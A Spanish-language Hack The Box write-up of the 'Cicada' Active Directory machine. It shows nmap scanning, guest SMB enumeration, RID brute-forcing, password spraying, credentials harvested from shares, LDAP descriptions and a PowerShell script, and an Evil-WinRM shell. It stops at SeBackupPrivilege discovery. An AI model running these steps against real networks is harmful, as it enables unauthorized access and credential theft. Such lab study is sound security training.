Cicada
Dificultad: Easy - OS: Windows
Enumeración de puertos/servicios
┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# nmap -sCV --open -T4 -v -n 10.10.11.35
Resultado:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-03 12:10:46Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after: 2025-08-22T20:24:16
| MD5: 9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
|_SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after: 2025-08-22T20:24:16
| MD5: 9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
|_SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after: 2025-08-22T20:24:16
| MD5: 9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
|_SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after: 2025-08-22T20:24:16
| MD5: 9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
|_SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
|_ssl-date: TLS randomness does not represent time
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 6h51m07s
| smb2-time:
| date: 2025-05-03T12:11:33
|_ start_date: N/A
En sintesis:
PORT | STATE | SERVICE | PROTOCOL
53/tcp | open | domain | tcp
88/tcp | open | kerberos-sec | tcp
135/tcp | open | msrpc | tcp
139/tcp | open | netbios-ssn | tcp
389/tcp | open | ldap | tcp
445/tcp | open | microsoft-ds | tcp
464/tcp | open | kpasswd5 | tcp
593/tcp | open | ncacn_http | tcp
636/tcp | open | ssl/ldap | tcp
3268/tcp | open | ldap | tcp
3269/tcp | open | ssl/ldap | tcp
5985/tcp | open | http | tcp
Lo primero que vamos a hacer es agregar los dominios que nos arrojó nmap al archivo /etc/hosts
de nuestro equipo:
┌──(root㉿kali)-[/home/kali/Documents/HTB/CICADA]
└─# echo "10.10.11.35 CICADA-DC cicada.htb CICADA-DC.cicada.htb" >> /etc/hosts
Enumerando recursos del SMB con NXC
Ahora vamos a enumerar los recursos del SMB
de dos formas: sin usuario guest
y con usuario guest
utilizando la tool nxc (NoobsecToolkit)
┌──(root㉿kali)-[/home/kali/Documents/HTB/CICADA]
└─# nxc smb cicada.htb -u '' -p '' --shares
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\:
SMB 10.10.11.35 445 CICADA-DC [-] Error enumerating shares: STATUS_ACCESS_DENIED
┌──(root㉿kali)-[/home/kali/Documents/HTB/CICADA]
└─# nxc smb cicada.htb -u 'guest' -p '' --shares
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\guest:
SMB 10.10.11.35 445 CICADA-DC [*] Enumerated shares
SMB 10.10.11.35 445 CICADA-DC Share Permissions Remark
SMB 10.10.11.35 445 CICADA-DC ----- ----------- ------
SMB 10.10.11.35 445 CICADA-DC ADMIN$ Remote Admin
SMB 10.10.11.35 445 CICADA-DC C$ Default share
SMB 10.10.11.35 445 CICADA-DC DEV
SMB 10.10.11.35 445 CICADA-DC HR READ
SMB 10.10.11.35 445 CICADA-DC IPC$ READ Remote IPC
SMB 10.10.11.35 445 CICADA-DC NETLOGON Logon server share
SMB 10.10.11.35 445 CICADA-DC SYSVOL Logon server share
Reconocimiento automatizado (spidering)
Teniendo todo esto en cuenta vamos a enumerar el contenido del recurso HR
nuevamente con nxc
┌──(root㉿kali)-[/home/kali/Documents/HTB/CICADA]
└─# nxc smb cicada.htb -u 'guest' -p '' --spider HR --regex "."
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\guest:
SMB 10.10.11.35 445 CICADA-DC [*] Started spidering
SMB 10.10.11.35 445 CICADA-DC [*] Spidering .
SMB 10.10.11.35 445 CICADA-DC //10.10.11.35/HR/. [dir]
SMB 10.10.11.35 445 CICADA-DC //10.10.11.35/HR/.. [dir]
SMB 10.10.11.35 445 CICADA-DC //10.10.11.35/HR/Notice from HR.txt [lastm:'2024-08-28 13:31' size:1266]
SMB 10.10.11.35 445 CICADA-DC [*] Done spidering (Completed in 1.3711886405944824)
┌──(root㉿kali)-[/home/kali/Documents/HTB/CICADA]
└─# nxc smb cicada.htb -u 'guest' -p '' --share HR --get-file "Notice from HR.txt" "Notice from HR.txt"
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\guest:
SMB 10.10.11.35 445 CICADA-DC [*] Copying "Notice from HR.txt" to "Notice from HR.txt"
SMB 10.10.11.35 445 CICADA-DC [+] File "Notice from HR.txt" was downloaded to "Notice from HR.txt"
Si leemos el mensaje de Notice from HR.txt
nos vamos a encontrar con un aviso del departamento de rrh que muestra una contraseña predeterminada para los nuevos empleados
┌──(root㉿kali)-[/home/kali/Documents/HTB/CICADA]
└─# cat Notice\ from\ HR.txt
Dear new hire!
Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.
Your default password is: Cicada$M6Corpb*@Lp#nZp!8
To change your password:
1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.
Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.
If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.
Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!
Best regards,
Cicada Corp
RID brute-forcing
Ya tenemos una contraseña, ahora nos faltan los usuarios y para esto lo que vamos a hacer es enumerar users del dominio cicada.htb
con el parámetro --rid-brute
para luego realizar un ataque tipo password spraying reutilizando la credencial Cicada$M6Corpb*@Lp#nZp!8
┌──(root㉿kali)-[/home/kali/Documents/HTB/CICADA]
└─# nxc smb cicada.htb -u 'guest' -p '' --rid-brute
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\guest:
SMB 10.10.11.35 445 CICADA-DC 498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 500: CICADA\Administrator (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 501: CICADA\Guest (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 502: CICADA\krbtgt (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 512: CICADA\Domain Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 513: CICADA\Domain Users (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 514: CICADA\Domain Guests (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 515: CICADA\Domain Computers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 516: CICADA\Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 517: CICADA\Cert Publishers (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 518: CICADA\Schema Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 519: CICADA\Enterprise Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 525: CICADA\Protected Users (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 526: CICADA\Key Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1101: CICADA\DnsAdmins (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1103: CICADA\Groups (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1104: CICADA\john.smoulder (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1105: CICADA\sarah.dantelia (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1106: CICADA\michael.wrightson (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1108: CICADA\david.orelious (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1109: CICADA\Dev Support (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1601: CICADA\emily.oscars (SidTypeUser)
¿Qué hace este comando?
Utiliza una técnica llamada RID brute-forcing para enumerar usuarios del dominio en un servidor Windows, aprovechando el acceso que tiene el usuario guest
.
Parámetros clave:
--rid-brute
→ fuerza los identificadores relativos (RIDs) desde 500 en adelante para intentar resolverlos a nombres de usuario. Si el servidor no está bien configurado, esto permite enumerar cuentas de dominio aunque no tengas privilegios.
Ya tenemos los usuarios, ahora vamos a agregarlos en una lista que usaremos en el password spraying. Para hacer la lista/diccionario simplemente aplicamos estos parámetros a modo de oneliner y el output lo volcamos en el fichero users
grep SidTypeUser
→ filtra solo las lÃneas que contienen usuarios reales (descarta grupos y otros objetos).cut -d'\' -f2
→ corta el nombre de dominio, dejando solousuario info
cut -d' ' -f1
→ limpia el resto dejando sólo el nombre de usuariotee users
→ guarda el listado en un archivo llamadousers
y también lo muestra por pantalla.
Password Spraying
┌──(root㉿kali)-[/home/kali/Documents/HTB/CICADA]
└─# netexec smb CICADA-DC -u guest -p '' --rid-brute | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1 | tee users
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
Ataque de spraying con usuarios enumerados:
¿Qué hace este comando?
Realiza un password spraying, es decir, prueba la misma contraseña contra todos los usuarios listados en el archivo users
.
Parámetros:
-u users
→ indica queusers
es un archivo que contiene una lista de nombres de usuarios (uno por lÃnea).-p 'Cicada$M6Corpb*@Lp#nZp!8'
→ es la contraseña que se probará para cada usuario.--continue-on-success
→ normalmentenxc
se detiene cuando encuentra un login exitoso. Con esta opción, sigue probando el resto aunque encuentre un usuario válido.
┌──(root㉿kali)-[/home/kali/Documents/HTB/CICADA]
└─# nxc smb cicada.htb -u users -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\Guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\david.orelious:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\emily.oscars:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
Ya tenemos unas credenciales para autenticarnos contra el servicio LDAP (puerto 389) del controlador de dominio CICADA-DC, pero primero vamos a chequear que son válidas.
Parámetros:
netexec ldap
→ le dice anetexec
que use el módulo de LDAP para interactuar con el servicio de directorio activo.CICADA-DC
→ es el host objetivo (puede ser nombre de máquina o IP).-u michael.wrightson
→ el nombre de usuario.-p 'Cicada$M6Corpb*@Lp#nZp!8'
→ la contraseña a probar.
┌──(root㉿kali)-[/home/kali/Documents/HTB/CICADA]
└─# netexec ldap CICADA-DC -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8'
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
¿Qué significa este resultado?
LDAP
→ es el servicio al que se conectó.10.10.11.35
→ IP del controlador de dominio.389
→ puerto LDAP.CICADA-DC
→ nombre del host (hostname).[+]
→ significa que las credenciales son válidas.cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
→ usuario y contraseña correctos.
Ahora que validamos las credenciales podemos realizar una enumeración LDAP de usuarios con nxc de la siguiente forma:
┌──(root㉿kali)-[/home/kali/Documents/HTB/CICADA]
└─# netexec ldap CICADA-DC -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [*] Enumerated 8 domain users: cicada.htb
LDAP 10.10.11.35 389 CICADA-DC -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.10.11.35 389 CICADA-DC Administrator 2024-08-26 20:08:03 0 Built-in account for administering the computer/domain
LDAP 10.10.11.35 389 CICADA-DC Guest 2024-08-28 17:26:56 0 Built-in account for guest access to the computer/domain
LDAP 10.10.11.35 389 CICADA-DC krbtgt 2024-03-14 11:14:10 0 Key Distribution Center Service Account
LDAP 10.10.11.35 389 CICADA-DC john.smoulder 2024-03-14 12:17:29 0
LDAP 10.10.11.35 389 CICADA-DC sarah.dantelia 2024-03-14 12:17:29 0
LDAP 10.10.11.35 389 CICADA-DC michael.wrightson 2024-03-14 12:17:29 0
LDAP 10.10.11.35 389 CICADA-DC david.orelious 2024-03-14 12:17:29 0 Just in case I forget my password is aRt$Lp#7t*VQ!3
LDAP 10.10.11.35 389 CICADA-DC emily.oscars 2024-08-22 21:20:17 0
Vemos que hay una cuenta con una contraseña expuesta en la descripcion del atributo LDAP
david.orelious Just in case I forget my password is aRt$Lp#7t*VQ!3
Ahora podemos intentar validar estas nuevas credenciales contra los servicios smb, LDAP y WinRM para ver por donde continuar la intrusión.
Parámetros:
netexec ldap
→ indica que se usará el módulo de LDAP.CICADA-DC
→ el host objetivo (puede ser IP o hostname).-u
y-p
→ usuario y contraseña válidos.--users
→ especifica que querés listar los usuarios del dominio.
Podemos realizar el mismo comando pero sobre SMB y obtendremos los mismos resultados
┌──(root㉿kali)-[/home/kali/Documents/HTB/CICADA]
└─# nxc smb CICADA-DC -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB 10.10.11.35 445 CICADA-DC -Username- -Last PW Set- -BadPW- -Description-
SMB 10.10.11.35 445 CICADA-DC Administrator 2024-08-26 20:08:03 0 Built-in account for administering the computer/domain
SMB 10.10.11.35 445 CICADA-DC Guest 2024-08-28 17:26:56 0 Built-in account for guest access to the computer/domain
SMB 10.10.11.35 445 CICADA-DC krbtgt 2024-03-14 11:14:10 0 Key Distribution Center Service Account
SMB 10.10.11.35 445 CICADA-DC john.smoulder 2024-03-14 12:17:29 0
SMB 10.10.11.35 445 CICADA-DC sarah.dantelia 2024-03-14 12:17:29 0
SMB 10.10.11.35 445 CICADA-DC michael.wrightson 2024-03-14 12:17:29 0
SMB 10.10.11.35 445 CICADA-DC david.orelious 2024-03-14 12:17:29 0 Just in case I forget my password is aRt$Lp#7t*VQ!3
SMB 10.10.11.35 445 CICADA-DC emily.oscars 2024-08-22 21:20:17 0
SMB 10.10.11.35 445 CICADA-DC [*] Enumerated 8 local users: CICADA
Para probar en qué servicios me permite logearme estas credenciales voy a usar el siguiente script service_validation.sh
┌──(root㉿kali)-[/home/kali/Documents/HTB/CICADA]
└─# ./service_validation.sh 10.10.11.35 david.orelious 'aRt$Lp#7t*VQ!3'
[*] Probando credenciales contra 10.10.11.35 con usuario 'david.orelious'...
--- Probando smb ---
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
--- Probando ldap ---
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
--- Probando winrm ---
WINRM 10.10.11.35 5985 CICADA-DC [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb)
WINRM 10.10.11.35 5985 CICADA-DC [-] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
--- Probando rdp ---
--- Probando mssql ---
--- Probando wmi ---
RPC 10.10.11.35 135 CICADA-DC [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb)
RPC 10.10.11.35 135 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
--- Probando ftp ---
--- Probando ssh ---
Resultados:
[+]
indica autenticación exitosa por SMB (puede listar recursos compartidos, usar smbexec
, etc.).
[+]
indica que las credenciales funcionan para acceder al Directorio Activo (AD) por LDAP.
[-]
indica fallo de autenticación o que el usuario no tiene permisos para WinRM.
Primero vamos a entrar al SMB y ver si tenemos acceso a algún directorio distinto.
┌──(root㉿kali)-[/home/kali/Documents/HTB/CICADA]
└─# netexec smb CICADA-DC -u david.orelious -p 'aRt$Lp#7t*VQ!3' --shares
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB 10.10.11.35 445 CICADA-DC [*] Enumerated shares
SMB 10.10.11.35 445 CICADA-DC Share Permissions Remark
SMB 10.10.11.35 445 CICADA-DC ----- ----------- ------
SMB 10.10.11.35 445 CICADA-DC ADMIN$ Remote Admin
SMB 10.10.11.35 445 CICADA-DC C$ Default share
SMB 10.10.11.35 445 CICADA-DC DEV READ
SMB 10.10.11.35 445 CICADA-DC HR READ
SMB 10.10.11.35 445 CICADA-DC IPC$ READ Remote IPC
SMB 10.10.11.35 445 CICADA-DC NETLOGON READ Logon server share
SMB 10.10.11.35 445 CICADA-DC SYSVOL READ Logon server share
Vemos que podemos entrar al directorio DEV
con smbclient y en su interior se encuentra el fichero Backup_script.ps1
┌──(root㉿kali)-[/home/kali/Documents/HTB/CICADA]
└─# nxc smb cicada.htb -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --spider Dev --regex "."
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB 10.10.11.35 445 CICADA-DC [*] Started spidering
SMB 10.10.11.35 445 CICADA-DC [*] Spidering .
SMB 10.10.11.35 445 CICADA-DC //10.10.11.35/Dev/. [dir]
SMB 10.10.11.35 445 CICADA-DC //10.10.11.35/Dev/.. [dir]
SMB 10.10.11.35 445 CICADA-DC //10.10.11.35/Dev/Backup_script.ps1 [lastm:'2024-08-28 13:28' size:601]
SMB 10.10.11.35 445 CICADA-DC [*] Done spidering (Completed in 1.3508508205413818)
┌──(root㉿kali)-[/home/kali/Documents/HTB/CICADA]
└─# smbclient -U david.orelious //CICADA-DC/DEV -U 'david.orelious%aRt$Lp#7t*VQ!3'
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Thu Mar 14 08:31:39 2024
.. D 0 Thu Mar 14 08:21:29 2024
Backup_script.ps1 A 601 Wed Aug 28 13:28:22 2024
4168447 blocks of size 4096. 477843 blocks available
smb: \> get Backup_script.ps1
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)
smb: \> exit
┌──(root㉿kali)-[/home/kali/Documents/HTB/CICADA]
└─# cat Backup_script.ps1
$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"
$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
Conseguimos credenciales nuevas "emily.oscars" "Q!3@Lp#M6b*7t*Vt"
ahora volvemos a usar el service_validation.sh
para probar a que servicio podemos ingresar
┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# ./service_validation.sh CICADA-DC emily.oscars 'Q!3@Lp#M6b*7t*Vt'
[*] Probando credenciales contra CICADA-DC con usuario 'emily.oscars'...
--- Probando smb ---
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt
--- Probando ldap ---
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt (Pwn3d!)
--- Probando winrm ---
WINRM 10.10.11.35 5985 CICADA-DC [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.10.11.35 5985 CICADA-DC [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt (Pwn3d!)
--- Probando rdp ---
--- Probando mssql ---
--- Probando wmi ---
RPC 10.10.11.35 135 CICADA-DC [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb)
RPC 10.10.11.35 135 CICADA-DC [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt
--- Probando ftp ---
--- Probando ssh ---
Podemos conectarnos a WinRM con estas nuevas credenciales, para esto voy a usar la tool EvilWinRM
┌──(root㉿kali)-[/home/kali/Documents/HTB/CICADA]
└─# evil-winrm -i cicada.htb -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami
cicada\emily.oscars
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> net user emily.oscars
User name emily.oscars
Full Name Emily Oscars
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 8/22/2024 2:20:17 PM
Password expires Never
Password changeable 8/23/2024 2:20:17 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 5/6/2025 1:04:38 AM
Logon hours allowed All
Local Group Memberships *Backup Operators *Remote Management Use
Global Group memberships *Domain Users
The command completed successfully.
Recolectando información sobre el usuario vamos a encontrar que pertenece al grupo Backup Operators de Windows y esto es una configuración de permisos peligrosa porque significa que tiene permisos especiales que se pueden usar para escalar privilegios hasta SYSTEM, incluso si este usuario no es administrador
Si revisamos los privilegios especiales que tiene el proceso actual vamos a encontrar que el usuario tiene varios privilegios elevados habilitados, entre ellos dos que están relacionados con el grupo Backup Operators:
SeBackupPrivilege
SeRestorePrivilege
Estos privilegios solo se conceden automáticamente a ese grupo (y a Administradores).
¿Por qué importa esto?
Tener SeBackupPrivilege
y SeRestorePrivilege
nos permite:
Leer cualquier archivo (aunque no tengamos permisos NTFS), como si fuéramos SYSTEM.
Escribir o reemplazar archivos del sistema, incluso protegidos (por ejemplo: reemplazar un servicio que se ejecuta como SYSTEM).
Estos privilegios pueden ser explotados para escalar a SYSTEM o para extraer información crÃtica, como:
Hashes de usuarios locales o del Active Directory (NTDS.dit, SAM).
Credenciales almacenadas.
Configuración de servicios para secuestrar ejecución de procesos como SYSTEM.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeBackupPrivilege Back up files and directories Enabled
